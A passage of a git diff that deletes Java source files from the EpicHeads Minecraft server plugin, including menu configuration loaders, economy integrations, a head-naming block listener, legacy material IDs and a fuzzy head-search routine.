".unselected-page", PagedBox.defaultUnselected, requiresSave); - Item selected = config.getOrCopyDefault(key + ".selected-page", PagedBox.defaultSelected, requiresSave); - - Scrollbar.Template scrollbar = loadScrollbar(key + ".scrollbar"); - - return new PagedBox.Template(scrollbar, unselected, selected); - } - - public CategoriesMenu.Template loadCategoriesMenu(String key) { - Item category = config.getOrCopyDefault(key + ".category", CategoriesMenu.defaultCategoryItem, requiresSave); - - PagedBox.Template pagedBoxTemplate = loadPagedBox(key); - - return new CategoriesMenu.Template(pagedBoxTemplate, category); - } - - public HeadsMenu.Template loadHeadsMenu(String key) { - Item head = config.getOrCopyDefault(key + ".head", HeadsMenu.defaultHead, requiresSave); - - PagedBox.Template pagedBoxTemplate = loadPagedBox(key); - - return new HeadsMenu.Template(pagedBoxTemplate, head); - } - - public CacheHeadsMenu.Template loadCacheHeadsMenu(String key) { - String categoriesTitle = config.getOrCopyDefault(key + ".categories-title", CacheHeadsMenu.defaultCategoriesTitle, requiresSave); - String categoryTitle = config.getOrCopyDefault(key + ".category-title", CacheHeadsMenu.defaultCategoryTitle, requiresSave); - - Item close = config.getOrCopyDefault(key + ".close", CacheHeadsMenu.defaultClose, requiresSave); - Item back = config.getOrCopyDefault(key + ".back", CacheHeadsMenu.defaultBack, requiresSave); - Item search = config.getOrCopyDefault(key + ".search", CacheHeadsMenu.defaultSearch, requiresSave); - - CategoriesMenu.Template categoriesTemplate = loadCategoriesMenu(key + ".categories"); - HeadsMenu.Template headsTemplate = loadHeadsMenu(key + ".heads"); - - return new CacheHeadsMenu.Template(categoriesTemplate, headsTemplate, close, back, search, categoriesTitle, categoryTitle); - } - -} diff --git a/main/java/com/songoda/epicheads/config/menu/Menus.java b/main/java/com/songoda/epicheads/config/menu/Menus.java deleted file mode 100644 index 4038e0f..0000000 --- a/main/java/com/songoda/epicheads/config/menu/Menus.java +++ /dev/null @@ -1,34 +0,0 @@ -package com.songoda.epicheads.config.menu; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.menu.CacheHeadsMenu; -import com.songoda.epicheads.util.Methods; - -import java.io.File; - -public class Menus { - - private MenuConfig browseConfig; - private CacheHeadsMenu.Template browseTemplate; - - public Menus() { - browseConfig = new MenuConfig("menus/browse.yml"); - } - - public void reload() { - File menusFolder = new File(EpicHeads.getInstance().getDataFolder(), "menus"); - - if (!menusFolder.exists() && !menusFolder.mkdirs()) { - Methods.formatText("Unable to create the plugins/Heads/menus folder for Heads menu configuration"); - } - - browseConfig.load(); - browseTemplate = browseConfig.loadCacheHeadsMenu("menu"); - browseConfig.saveIfChanged(); - } - - public CacheHeadsMenu.Template getBrowseTemplate() { - return browseTemplate; - } - -} diff --git a/main/java/com/songoda/epicheads/config/oldmenu/Menu.java b/main/java/com/songoda/epicheads/config/oldmenu/Menu.java deleted file mode 100644 index 8ee5383..0000000 --- a/main/java/com/songoda/epicheads/config/oldmenu/Menu.java +++ /dev/null @@ -1,92 +0,0 @@ -package com.songoda.epicheads.config.oldmenu; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.config.lang.Placeholder; -import com.songoda.epicheads.menu.ui.item.Item; -import com.songoda.epicheads.util.Methods; -import org.bukkit.configuration.ConfigurationSection; -import org.bukkit.inventory.ItemStack; - -import java.util.HashMap; -import java.util.Map; -import java.util.concurrent.atomic.AtomicBoolean; -import java.util.function.Function; - -public class Menu { - - private Function FILTER_ECONOMY_LINES_OUT = line -> !line.contains("%cost%"); - - private String title; - private final Map items = new HashMap<>(); - private final Menu defaults; - - public Menu() { - this(null); - } - - public Menu(Menu defaults) { - this.defaults = defaults; - } - - public String getTitle(Placeholder... placeholders) { - return title != null ? Placeholder.applyAll(title, placeholders) : "Menu"; - } - - public Item getItem(String name) { - Item item = items.get(name.toLowerCase()); - - return item != null ? item : getDefaultItem(name); - } - - public ItemStack getItemStack(String name, Placeholder... placeholders) { - Item item = getItem(name); - - return item != null ? item.build(getItemLoreFilter(), placeholders) : null; - } - - private Item getDefaultItem(String name) { - return defaults != null ? defaults.getItem(name) : null; - } - - private Function getItemLoreFilter() { - return EpicHeads.getInstance().getMainConfig().isEconomyEnabled() ? null : FILTER_ECONOMY_LINES_OUT; - } - - public void load(String filename, ConfigurationSection section, AtomicBoolean shouldSave) { - for (String key : section.getKeys(false)) { - if (!section.isConfigurationSection(key)) { - loadValue(section, key); - continue; - } - - Item item = Item.load(filename, section.getConfigurationSection(key), shouldSave); - - if (item == null) - continue; - - items.put(key.toLowerCase(), item); - } - } - - private void loadValue(ConfigurationSection section, String key) { - if (key.equals("title")) { - title = section.getString(key, null); - return; - } - - Methods.formatText("Unknown use of value \"" + key + "\" in menu \"" + section.getCurrentPath() + "\""); - } - - public static Menu loadMenu(String filename, ConfigurationSection section, AtomicBoolean shouldSave) { - return loadMenu(filename, section, shouldSave, null); - } - - public static Menu loadMenu(String filename, ConfigurationSection section, AtomicBoolean shouldSave, Menu defaults) { - Menu menu = new Menu(defaults); - - menu.load(filename, section, shouldSave); - - return menu; - } - -} diff --git a/main/java/com/songoda/epicheads/config/oldmenu/MenuConfig.java b/main/java/com/songoda/epicheads/config/oldmenu/MenuConfig.java deleted file mode 100644 index 5dbcd0b..0000000 --- a/main/java/com/songoda/epicheads/config/oldmenu/MenuConfig.java +++ /dev/null @@ -1,97 +0,0 @@ -package com.songoda.epicheads.config.oldmenu; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.config.ConfigFile; -import com.songoda.epicheads.util.Clock; -import com.songoda.epicheads.util.Methods; -import org.bukkit.configuration.ConfigurationSection; - -import java.util.HashMap; -import java.util.Map; -import java.util.concurrent.atomic.AtomicBoolean; - -public class MenuConfig { - - private final ConfigurationSection defaults; - private final ConfigFile configFile; - private final Map menus; - private final Map defaultMenus; - - public MenuConfig(ConfigFile configFile) { - this.menus = new HashMap<>(); - this.defaultMenus = new HashMap<>(); - this.configFile = configFile; - this.defaults = loadDefaults(); - - reload(); - } - - public Menu getMenu(String name) { - Menu menu = menus.get(name.toLowerCase()); - - return (menu != null ? menu : defaultMenus.get(name.toLowerCase())); - } - - public void reload() { - Clock timer = Clock.start(); - - configFile.copyDefaults(); - configFile.reload(); - - String filename = configFile.getName(); - ConfigurationSection config = configFile.getConfig(); - AtomicBoolean shouldSave = new AtomicBoolean(false); - - menus.clear(); - - for (String key : config.getKeys(false)) { - if (!config.isConfigurationSection(key)) { - Methods.formatText("Unknown use of value " + key + " in " + filename); - continue; - } - - ConfigurationSection menuSection = config.getConfigurationSection(key); - - Menu defaultMenu = defaultMenus.get(key.toLowerCase()); - Menu menu = Menu.loadMenu(filename, menuSection, shouldSave, defaultMenu); - - menus.put(key.toLowerCase(), menu); - } - - for (String key : defaultMenus.keySet()) { - if (menus.containsKey(key)) - continue; - - config.set(key, defaults.getConfigurationSection(key)); - - Methods.formatText(key + " was missing in " + filename + ", creating it"); - shouldSave.set(true); - } - - if (shouldSave.get()) { - configFile.save(); - } - - Methods.formatText("Loaded Menu Config with " + menus.size() + " Menus " + timer); - } - - private ConfigurationSection loadDefaults() { - String filename = configFile.getName(); - ConfigurationSection config = configFile.getDefaults(); - AtomicBoolean shouldSave = new AtomicBoolean(false); - - defaultMenus.clear(); - - for (String key : config.getKeys(false)) { - if (!config.isConfigurationSection(key)) - continue; - - ConfigurationSection menuSection = config.getConfigurationSection(key); - - defaultMenus.put(key.toLowerCase(), Menu.loadMenu(filename, menuSection, shouldSave)); - } - - return config; - } - -} diff --git a/main/java/com/songoda/epicheads/config/oldmenu/Menus.java b/main/java/com/songoda/epicheads/config/oldmenu/Menus.java deleted file mode 100644 index 7470217..0000000 --- a/main/java/com/songoda/epicheads/config/oldmenu/Menus.java +++ /dev/null @@ -1,76 +0,0 @@ -package com.songoda.epicheads.config.oldmenu; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.oldmenu.InventoryType; - -public class Menus { - - public static final String SPLIT = "-"; - - public static final String CATEGORIES = "categories"; - public static final String HEADS = "heads"; - public static final String CONFIRM = "confirm"; - - public static final MenusGroup GET = new MenusGroup("get"); - public static final MenusGroup SEARCH = new MenusGroup("search"); - public static final MenusGroup REMOVE = new MenusGroup("remove"); - public static final MenusGroup RENAME = new MenusGroup("rename"); - public static final MenusGroup COST = new MenusGroup("cost"); - public static final MenusGroup CATEGORY_COST = new MenusGroup("category-cost"); - public static final MenusGroup CATEGORY_COST_REMOVE = new MenusGroup("category-cost-remove"); - public static final MenusGroup ID = new MenusGroup("id"); - - public static Menu get(String name) { - return EpicHeads.getInstance().getMenuConfig().getMenu(name); - } - - public static class MenusGroup { - private String prefix; - - public MenusGroup(String prefix) { - this.prefix = prefix; - } - - public String getPrefix() { - return prefix; - } - - public String getCategoriesName() { - return prefix + SPLIT + CATEGORIES; - } - - public String getHeadsName() { - return prefix + SPLIT + HEADS; - } - - public String getConfirmName() { - return prefix + SPLIT + CONFIRM; - } - - public Menu categories() { - return get(getCategoriesName()); - } - - public Menu heads() { - return get(getHeadsName()); - } - - public Menu confirm() { - return get(getConfirmName()); - } - - public Menu fromType(InventoryType type) { - switch (type) { - case CATEGORY: - return categories(); - case HEADS: - return heads(); - case CONFIRM: - return confirm(); - default: - return null; - } - } - } - -} \ No newline at end of file diff --git a/main/java/com/songoda/epicheads/economy/Economy.java b/main/java/com/songoda/epicheads/economy/Economy.java deleted file mode 100644 index 2e44869..0000000 --- a/main/java/com/songoda/epicheads/economy/Economy.java +++ /dev/null @@ -1,19 +0,0 @@ -package com.songoda.epicheads.economy; - -import org.bukkit.entity.Player; - -public interface Economy { - - public String getName(); - - public String formatBalance(double bal); - - public boolean tryHook(); - - public boolean isHooked(); - - public boolean hasBalance(Player player, double bal); - - public boolean takeBalance(Player player, double bal); - -} diff --git a/main/java/com/songoda/epicheads/economy/ItemEconomy.java b/main/java/com/songoda/epicheads/economy/ItemEconomy.java deleted file mode 100644 index f9ed306..0000000 --- a/main/java/com/songoda/epicheads/economy/ItemEconomy.java +++ /dev/null @@ -1,81 +0,0 @@ -package com.songoda.epicheads.economy; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.menu.ui.item.Item; -import org.bukkit.entity.Player; -import org.bukkit.inventory.ItemStack; - -public class ItemEconomy implements Economy { - - public boolean isItem(ItemStack itemStack) { - if (itemStack == null) - return false; - Item item = Item.create(itemStack).amount(1); - return item.equals(EpicHeads.getInstance().getMainConfig().getItemEconomyItem()); - } - - @Override - public String getName() { - return "Item"; - } - - private int convertAmount(double amount) { - return (int) Math.ceil(amount); - } - - @Override - public String formatBalance(double bal) { - int amount = convertAmount(bal); - - return Integer.toString(amount); - } - - @Override - public boolean tryHook() { - return true; - } - - @Override - public boolean isHooked() { - return true; - } - - @Override - public boolean hasBalance(Player player, double bal) { - int amount = convertAmount(bal); - for (ItemStack item : player.getInventory().getContents()) { - if (!isItem(item)) - continue; - if (amount <= item.getAmount()) - return true; - amount -= item.getAmount(); - } - return false; - } - - @Override - public boolean takeBalance(Player player, double bal) { - int amount = convertAmount(bal); - ItemStack[] contents = player.getInventory().getContents(); - for (int index = 0; index < contents.length; ++index) { - ItemStack item = contents[index]; - if (!isItem(item)) - continue; - if (amount >= item.getAmount()) { - amount -= item.getAmount(); - contents[index] = null; - } else { - item.setAmount(item.getAmount() - amount); - amount = 0; - } - if (amount == 0) - break; - } - if (amount != 0) - return false; - player.getInventory().setContents(contents); - - return true; - } - -} diff --git a/main/java/com/songoda/epicheads/economy/NoEconomy.java b/main/java/com/songoda/epicheads/economy/NoEconomy.java deleted file mode 100644 index e5d8bec..0000000 --- a/main/java/com/songoda/epicheads/economy/NoEconomy.java +++ /dev/null @@ -1,37 +0,0 @@ -package com.songoda.epicheads.economy; - -import org.bukkit.entity.Player; - -public class NoEconomy implements Economy { - - @Override - public String getName() { - return "No"; - } - - @Override - public String formatBalance(double bal) { - return Double.toString(bal); - } - - @Override - public boolean tryHook() { - return true; - } - - @Override - public boolean isHooked() { - return true; - } - - @Override - public boolean hasBalance(Player player, double bal) { - return true; - } - - @Override - public boolean takeBalance(Player player, double bal) { - return false; - } - -} diff --git a/main/java/com/songoda/epicheads/economy/PlayerPointsEconomy.java b/main/java/com/songoda/epicheads/economy/PlayerPointsEconomy.java deleted file mode 100644 index 1310ede..0000000 --- a/main/java/com/songoda/epicheads/economy/PlayerPointsEconomy.java +++ /dev/null @@ -1,56 +0,0 @@ -package com.songoda.epicheads.economy; - -import org.black_ixx.playerpoints.PlayerPoints; -import org.bukkit.Bukkit; -import org.bukkit.entity.Player; - -public class PlayerPointsEconomy implements Economy { - - private PlayerPoints playerPoints; - - @Override - public String getName() { - return "PlayerPoints"; - } - - private int convertAmount(double amount) { - return (int) Math.ceil(amount); - } - - @Override - public String formatBalance(double bal) { - int amount = convertAmount(bal); - - return Integer.toString(amount); - } - - @Override - public boolean tryHook() { - if (Bukkit.getServer().getPluginManager().getPlugin("PlayerPoints") == null) - return false; - - playerPoints = (PlayerPoints) Bukkit.getPluginManager().getPlugin("PlayerPoints"); - - return true; - } - - @Override - public boolean isHooked() { - return playerPoints != null; - } - - @Override - public boolean hasBalance(Player player, double bal) { - int amount = convertAmount(bal); - - return playerPoints.getAPI().look(player.getUniqueId()) >= amount; - } - - @Override - public boolean takeBalance(Player player, double bal) { - int amount = convertAmount(bal); - - return playerPoints.getAPI().take(player.getUniqueId(), amount); - } - -} diff --git a/main/java/com/songoda/epicheads/economy/VaultEconomy.java b/main/java/com/songoda/epicheads/economy/VaultEconomy.java deleted file mode 100644 index 593324a..0000000 --- a/main/java/com/songoda/epicheads/economy/VaultEconomy.java +++ /dev/null @@ -1,52 +0,0 @@ -package com.songoda.epicheads.economy; - -import org.bukkit.Bukkit; -import org.bukkit.entity.Player; -import org.bukkit.plugin.RegisteredServiceProvider; - -public class VaultEconomy implements Economy { - - private net.milkbowl.vault.economy.Economy economy; - - @Override - public String getName() { - return "Vault"; - } - - @Override - public String formatBalance(double bal) { - return Double.toString(bal); - } - - @Override - public boolean tryHook() { - if (Bukkit.getServer().getPluginManager().getPlugin("Vault") == null) - return false; - - RegisteredServiceProvider rsp = - Bukkit.getServicesManager().getRegistration(net.milkbowl.vault.economy.Economy.class); - - if (rsp == null) - return false; - - economy = rsp.getProvider(); - - return economy != null; - } - - @Override - public boolean isHooked() { - return economy != null; - } - - @Override - public boolean hasBalance(Player player, double bal) { - return economy.has(player, bal); - } - - @Override - public boolean takeBalance(Player player, double bal) { - return economy.withdrawPlayer(player, bal).transactionSuccess(); - } - -} diff --git a/main/java/com/songoda/epicheads/handlers/HeadNamer.java b/main/java/com/songoda/epicheads/handlers/HeadNamer.java deleted file mode 100644 index 60b696c..0000000 --- a/main/java/com/songoda/epicheads/handlers/HeadNamer.java +++ /dev/null @@ -1,213 +0,0 @@ -package com.songoda.epicheads.handlers; - -import com.mojang.authlib.GameProfile; -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.util.Methods; -import com.songoda.epicheads.volatilecode.ItemNBT; -import com.songoda.epicheads.volatilecode.Items; -import com.songoda.epicheads.volatilecode.TextureGetter; -import com.songoda.epicheads.volatilecode.reflection.nms.BlockPosition; -import com.songoda.epicheads.volatilecode.reflection.nms.TileEntitySkull; -import com.songoda.epicheads.volatilecode.reflection.nms.World; -import net.sothatsit.blockstore.BlockStoreApi; -import org.bukkit.*; -import org.bukkit.block.Block; -import org.bukkit.block.BlockState; -import org.bukkit.block.Skull; -import org.bukkit.entity.Player; -import org.bukkit.event.EventException; -import org.bukkit.event.EventHandler; -import org.bukkit.event.EventPriority; -import org.bukkit.event.Listener; -import org.bukkit.event.block.BlockBreakEvent; -import org.bukkit.event.block.BlockPlaceEvent; -import org.bukkit.inventory.ItemStack; -import org.bukkit.inventory.meta.ItemMeta; -import org.bukkit.inventory.meta.SkullMeta; -import org.bukkit.plugin.RegisteredListener; - -import java.util.ArrayList; -import java.util.List; -import java.util.concurrent.atomic.AtomicInteger; - -public class HeadNamer implements Listener { - - private final EpicHeads instance; - - public HeadNamer(EpicHeads instance) { - this.instance = instance; - } - - public void registerEvents() { - Bukkit.getPluginManager().registerEvents(this, EpicHeads.getInstance()); - } - - private boolean shouldUseBlockStore() { - return instance.getMainConfig().shouldUseBlockStore() && instance.isBlockStoreAvailable(); - } - - @SuppressWarnings("deprecation") - private boolean isHeadsHead(ItemStack item) { - if (!Items.isSkull(item)) - return false; - - SkullMeta meta = (SkullMeta) item.getItemMeta(); - // This needs to be kept too since it will not work on 1.8 if changed. - return meta.hasOwner() && meta.getOwner().equals("SpigotHeadPlugin"); - } - - @SuppressWarnings("deprecation") - private boolean isHeadsHead(Block block) { - BlockState state = block.getState(); - if (!(state instanceof Skull)) - return false; - - Skull skull = (Skull) state; - - // This needs to be kept too since it will not work on 1.8 if changed. - return skull.getOwner() != null && skull.getOwner().equals("SpigotHeadPlugin"); - } - - private GameProfile getGameProfile(Block block) { - World world = new World(block.getWorld()); - BlockPosition pos = new BlockPosition(block.getX(), block.getY(), block.getZ()); - TileEntitySkull tile = world.getTileEntity(pos).asSkullEntity(); - - return tile.getGameProfile(); - } - - private String findHeadName(Block block) { - if (instance.getMainConfig().shouldUseCacheNames()) { - GameProfile profile = getGameProfile(block); - String texture = TextureGetter.findTexture(profile); - CacheHead head = instance.getCache().findHeadByTexture(texture); - - if (head != null) - return ChatColor.GRAY + head.getName(); - } - - return ChatColor.GRAY + instance.getMainConfig().getDefaultHeadName(); - } - - @EventHandler(priority = EventPriority.MONITOR) - public void onBlockPlace(BlockPlaceEvent e) { - if (!instance.getMainConfig().isHeadNamesEnabled() || !shouldUseBlockStore() || !isHeadsHead(e.getItemInHand())) - return; - - ItemMeta meta = e.getItemInHand().getItemMeta(); - - if (!meta.hasDisplayName()) - return; - - BlockStoreApi.setBlockMeta(e.getBlock(), instance, "name", meta.getDisplayName()); - } - - @EventHandler(priority = EventPriority.LOWEST) - public void onBlockBreak(BlockBreakEvent e) { - if (!instance.getMainConfig().isHeadNamesEnabled()) - return; - - Block block = e.getBlock(); - - if (e.getPlayer().getGameMode() == GameMode.CREATIVE || !isHeadsHead(block)) - return; - - // Stop the head item being dropped by the server - e.setCancelled(true); - - if (shouldUseBlockStore()) { - BlockStoreApi.retrieveBlockMeta(instance, block, instance, "name", metaValue -> { - String newName; - - if (metaValue instanceof String) { - newName = (String) metaValue; - } else { - newName = findHeadName(block); - } - - redropRenamedSkull(block, e.getPlayer(), newName); - }); - } else { - redropRenamedSkull(block, e.getPlayer(), findHeadName(block)); - } - } - - private void redropRenamedSkull(Block block, Player player, String newName) { - BlockBreakEvent event = new BlockBreakEvent(block, player); - - List listenersToCall = new ArrayList<>(); - - for (RegisteredListener listener : BlockBreakEvent.getHandlerList().getRegisteredListeners()) { - if (!listener.getPlugin().isEnabled() || listener.getListener() instanceof HeadNamer) - continue; - - listenersToCall.add(listener); - } - - CountdownRunnable eventResultHandler = new CountdownRunnable(listenersToCall.size(), () -> { - if (event.isCancelled()) - return; - - GameProfile profile = getGameProfile(block); - ItemStack drop = ItemNBT.createHead(profile, newName); - - Location dropLocation = block.getLocation().add(0.5, 0.5, 0.5); - - block.setType(Material.AIR); - block.getWorld().dropItemNaturally(dropLocation, drop); - }); - - for (RegisteredListener listener : listenersToCall) { - new BlockBreakEventCaller(listener, event, eventResultHandler).scheduleTask(); - } - } - - private static class BlockBreakEventCaller implements Runnable { - - private final RegisteredListener listener; - private final BlockBreakEvent event; - private final CountdownRunnable countdown; - - BlockBreakEventCaller(RegisteredListener listener, BlockBreakEvent event, CountdownRunnable countdown) { - this.listener = listener; - this.event = event; - this.countdown = countdown; - } - - void scheduleTask() { - Bukkit.getScheduler().scheduleSyncDelayedTask(listener.getPlugin(), this); - } - - @Override - public void run() { - try { - listener.callEvent(event); - } catch (EventException exception) { - Methods.formatText("There was an exception calling BlockBreakEvent for " + listener.getPlugin().getName()); - exception.printStackTrace(); - } finally { - countdown.countdown(); - } - } - } - - private static class CountdownRunnable { - - private final AtomicInteger countdown; - private final Runnable runnable; - - CountdownRunnable(int count, Runnable runnable) { - this.countdown = new AtomicInteger(count); - this.runnable = runnable; - } - - void countdown() { - if (countdown.decrementAndGet() != 0) - return; - - EpicHeads.getInstance().sync(runnable); - } - } - -} diff --git a/main/java/com/songoda/epicheads/handlers/LegacyIDs.java b/main/java/com/songoda/epicheads/handlers/LegacyIDs.java deleted file mode 100644 index 81ecfab..0000000 --- a/main/java/com/songoda/epicheads/handlers/LegacyIDs.java +++ /dev/null @@ -1,73 +0,0 @@ -package com.songoda.epicheads.handlers; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.util.Checks; -import org.bukkit.Material; - -import java.io.*; -import java.util.Collections; -import java.util.HashMap; -import java.util.Map; - -public class LegacyIDs { - - public static final LegacyIDs EMPTY = new LegacyIDs(Collections.emptyMap()); - - private final Map idToType; - - public LegacyIDs(Map idToType) { - Checks.ensureNonNull(idToType, "idToType"); - - this.idToType = idToType; - } - - public String fromId(int id) { - return idToType.get(id); - } - - public void write(File file) throws IOException { - try (FileOutputStream fos = new FileOutputStream(file); OutputStreamWriter osr = new OutputStreamWriter(fos); BufferedWriter writer = new BufferedWriter(osr)) { - - write(writer); - } - } - - public void write(BufferedWriter writer) throws IOException { - for (Map.Entry entry : idToType.entrySet()) { - writer.write(entry.getKey() + ":" + entry.getValue() + "\n"); - } - } - - @SuppressWarnings("deprecation") - public static LegacyIDs create() { - Map idToType = new HashMap<>(); - - for (Material type : Material.values()) { - // This need to be kept for the legacy IDS for 1.13. - idToType.put(type.getId(), type.name()); - } - - return new LegacyIDs(idToType); - } - - public static LegacyIDs readResource(String resource) throws IOException { - try (InputStream is = EpicHeads.getInstance().getResource(resource); InputStreamReader isr = new InputStreamReader(is); BufferedReader reader = new BufferedReader(isr)) { - - return read(reader); - } - } - - public static LegacyIDs read(BufferedReader reader) throws IOException { - Map idToType = new HashMap<>(); - - String line; - while ((line = reader.readLine()) != null) { - int splitIndex = line.indexOf(':'); - int id = Integer.valueOf(line.substring(0, splitIndex)); - String type = line.substring(splitIndex + 1); - idToType.put(id, type); - } - - return new LegacyIDs(idToType); - } -} diff --git a/main/java/com/songoda/epicheads/handlers/LiveHead.java b/main/java/com/songoda/epicheads/handlers/LiveHead.java deleted file mode 100644 index bc53c43..0000000 --- a/main/java/com/songoda/epicheads/handlers/LiveHead.java +++ /dev/null @@ -1,48 +0,0 @@ -package com.songoda.epicheads.handlers; - -import com.songoda.epicheads.EpicHeads; -import com.songoda.epicheads.api.EpicHeadsAPI; -import org.bukkit.Location; -import org.bukkit.scheduler.BukkitRunnable; - -import java.util.List; - -public class LiveHead { - - private int frames; - private List texures; - private Location location; - - // Do not pay attention to this class, this is just a sort of sketch which is not ready. - - public LiveHead(int frames, List texures, Location location /*.more.*/) { - // Safety first, experimental features should not crash servers. - if (frames > 60) - frames = 60; - this.frames = frames; - if (texures.size() > frames) - while (texures.size() != frames) { - texures.remove(texures.size()); // logic - the last ones will be removed - } - this.texures = texures; - this.location = location; - } - - public void renderTexures() { - int interval = frames / 20; - new BukkitRunnable() { - int fases; - - public void run() { - // nessecary checks for head texures for fases. - fases++; - if (fases >= frames) - fases = 0; - - } - }.runTaskTimer(EpicHeads.getInstance(), 0, interval); - // Render (but I am too tired for now). - // TODO: External classes from the animation packages. - } - -} diff --git a/main/java/com/songoda/epicheads/handlers/Search.java b/main/java/com/songoda/epicheads/handlers/Search.java deleted file mode 100644 index 4ae540a..0000000 --- a/main/java/com/songoda/epicheads/handlers/Search.java +++ /dev/null @@ -1,274 +0,0 @@ -package com.songoda.epicheads.handlers; - -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.util.Checks; - -import java.util.ArrayList; -import java.util.Collections; -import java.util.List; - -public final class Search { - - private Query query; - private Query reusableQuery; - private double threshold; - - private int[][] editDis; - private int editDisDim1; - private int editDisDim2; - - private List substrings = new ArrayList<>(); - - private Search(String query, double threshold) { - this.query = new Query(query, toWords(query)); - this.substrings = new ArrayList<>(); - this.reusableQuery = new Query("", null); - this.threshold = threshold; - - getReusableArray(query.length() + 1, 38); - } - - private int[][] getReusableArray(int dim1, int dim2) { - if (dim1 <= editDisDim1 && dim2 <= editDisDim2) - return editDis; - - dim1 = Math.max(dim1, editDisDim1); - dim2 = Math.max(dim2, editDisDim2); - - editDis = new int[dim1][dim2]; - editDisDim1 = dim1; - editDisDim2 = dim2; - - return editDis; - } - - private void appendSubstring(int index, String string, int start, int end) { - if (index < substrings.size()) { - substrings.get(index).reuse(string, start, end); - } else { - substrings.add(new Substring(string, start, end)); - } - } - - public List toWords(String string) { - int len = string.length(); - - int wordCount = 0; - int lastSplit = 0; - boolean inWord = false; - - for (int index = 0; index < len; ++index) { - char ch = string.charAt(index); - - if (ch == ' ') { - if (inWord) { - appendSubstring(wordCount, string, lastSplit, index); - wordCount += 1; - lastSplit = index + 1; - } - - inWord = false; - } else { - inWord = true; - } - } - - if (inWord) { - appendSubstring(wordCount, string, lastSplit, len); - wordCount += 1; - } - - return substrings.subList(0, wordCount); - } - - public Query reuseQuery(String string) { - return reusableQuery.reuse(string, toWords(string)); - } - - public List checkAll(Iterable heads) { - List matches = new ArrayList<>(); - - for (CacheHead head : heads) { - double relevance = calculateRelevance(query, head); - - if (relevance <= threshold) - continue; - - matches.add(new Match(head, relevance)); - } - - Collections.sort(matches); - - List results = new ArrayList<>(); - - for (Match match : matches) { - results.add(match.subject); - } - - return results; - } - - private double calculateRelevance(Query query, CacheHead head) { - double relevance = calculateRelevance(query, reuseQuery(head.getName())); - - for (String tag : head.getTags()) { - relevance = Math.max(relevance, 0.8 * calculateRelevance(query, reuseQuery(tag))); - } - - return relevance; - } - - private double calculateRelevance(Query query, Query subject) { - double similarity = calcSimilarity(query.string, subject.string); - - double wordSimilarity = 0d; - double aggregate = 0d; - int count = 0; - - for (Substring queryWord : query.words) { - double querySimilarity = 0d; - for (Substring subjectWord : subject.words) { - querySimilarity = Math.max(querySimilarity, calcSimilarity(queryWord, subjectWord)); - } - aggregate += querySimilarity; - count += 1; - wordSimilarity = Math.max(wordSimilarity, querySimilarity); - } - if (count > 0) { - wordSimilarity = 0.9d * wordSimilarity + 0.1d * (aggregate / count); - } - return Math.max(similarity, wordSimilarity); - } - - private double calcSimilarity(Substring query, Substring subject) { - int len1 = query.length(); - int len2 = subject.length(); - int[][] dp = getReusableArray(len1 + 1, len2 + 1); - for (int i = 0; i <= len1; i++) { - dp[i][0] = i; - } - for (int j = 0; j <= len2; j++) { - dp[0][j] = j; - } - for (int i = 0; i < len1; i++) { - char c1 = query.charAt(i); - for (int j = 0; j < len2; j++) { - char c2 = subject.charAt(j); - if (c1 == c2) { - dp[i + 1][j + 1] = dp[i][j]; - } else { - int replace = dp[i][j] + 1; - int insert = dp[i][j + 1] + 1; - int delete = dp[i + 1][j] + 1; - int min = replace > insert ? insert : replace; - min = delete > min ? min : delete; - dp[i + 1][j + 1] = min; - } - } - } - int editDistance = dp[len1][len2]; - if (editDistance == 0) - return 1; - return 0.75d * (double) (query.length() - editDistance) / (double) query.length(); - } - - private final static class Match implements Comparable { - - public final CacheHead subject; - public final double relevance; - - private Match(CacheHead subject, double relevance) { - this.subject = subject; - this.relevance = relevance; - } - - @Override - public int compareTo(Match other) { - return Double.compare(other.relevance, relevance); - } - } - - private final class Query { - - public Substring string; - public List words; - - public Query(String string, List words) { - this.string = new Substring(string); - this.words = words; - } - - public Query reuse(String string, List words) { - this.string.reuse(string); - this.words = words; - return this; - } - } - - private static class Substring { - - public String string; - public int start; - public int end; - - public Substring(String string) { - this(string, 0, string.length()); - } - - public Substring(String string, int start, int end) { - reuse(string, start, end); - } - - public Substring reuse(String string) { - return reuse(string, 0, string.length()); - } - - public Substring reuse(String string, int start, int end) { - Checks.ensureNonNull(string, "string"); - this.string = string; - this.moveTo(start, end); - return this; - } - - public void moveTo(int start, int end) { - Checks.ensureTrue(start >= 0, "start must be >= 0"); - Checks.ensureTrue(end >= start, "end must be >= start"); - Checks.ensureTrue(end <= string.length(), "end must be <= to the length of string"); - this.start = start; - this.end = end; - } - - public char charAt(int index) { - if (index < 0) - throw new IndexOutOfBoundsException("index cannot be negative"); - if (index >= length()) - throw new IndexOutOfBoundsException("index must be less than the strings length"); - char ch = string.charAt(start + index); - return (char) (ch >= 'A' && ch <= 'Z' ? ch + ('a' - 'A') : ch); - } - - public int length() { - return end - start; - } - - @Override - public String toString() { - return string.substring(start, end); - } - - } - - /** - * Search over the list of heads and find all heads with a relevance above a certain threshold. - * Will simplify the query string in an attempt to improve matches. - * - * @param query The search term. - * @param heads The heads we are checking for matches. - * @param threshold The threshold relevance that a head must have to be matched. - * @return All heads sorted by relevance that have a relevance greater than the threshold. - */ - public static List searchHeads(String query, Iterable heads, double threshold) { - return new Search(query, threshold).checkAll(heads); - } - -} diff --git a/main/java/com/songoda/epicheads/menu/CacheHeadsMenu.java b/main/java/com/songoda/epicheads/menu/CacheHeadsMenu.java deleted file mode 100644 index a94f32c..0000000 --- a/main/java/com/songoda/epicheads/menu/CacheHeadsMenu.java +++ /dev/null @@ -1,175 +0,0 @@ -package com.songoda.epicheads.menu; - -import com.songoda.epicheads.cache.CacheFile; -import com.songoda.epicheads.cache.CacheHead; -import com.songoda.epicheads.menu.ui.Bounds; -import com.songoda.epicheads.menu.ui.InventoryMenu; -import com.songoda.epicheads.menu.ui.MenuResponse; -import com.songoda.epicheads.menu.ui.element.Element; -import com.songoda.epicheads.menu.ui.item.Button; -import com.songoda.epicheads.menu.ui.item.Item; -import com.songoda.epicheads.util.Checks; -import com.songoda.epicheads.util.Stringify; -import org.bukkit.ChatColor; -import 